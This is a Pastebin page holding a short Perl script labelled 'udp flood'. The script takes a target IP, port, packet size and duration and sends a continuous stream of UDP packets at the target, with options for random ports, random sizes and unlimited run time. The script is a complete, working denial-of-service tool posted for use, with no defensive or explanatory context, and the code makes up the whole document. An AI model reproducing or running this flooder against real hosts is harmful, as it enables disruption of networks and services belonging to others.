This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: Cerulan on Jan 1st, 2014  |  syntax: None  |  size: 0.97 KB  |  views: 43  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # udp flood.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11.   print "flood.pl <ip> <port> <size> <time>\n\n";
  12.   print " port=0: use random ports\n";
  13.   print " size=0: use random size between 64 and 1024\n";
  14.   print " time=0: continuous flood\n";
  15.   exit(1);
  16. }
  17.  
  18. my ($ip,$port,$size,$time) = @ARGV;
  19.  
  20. my ($iaddr,$endtime,$psize,$pport);
  21.  
  22. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  23. $endtime = time() + ($time ? $time : 1000000);
  24.  
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26.  
  27. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  28.   ($size ? "$size-byte" : "random size") . " packets" .
  29.   ($time ? " for $time seconds" : "") . "\n";
  30. print "Break with Ctrl-C\n" unless $time;
  31.  
  32. for (;time() <= $endtime;) {
  33.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  34.   $pport = $port ? $port : int(rand(65500))+1;
  35.  
  36.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
clone this paste RAW Paste Data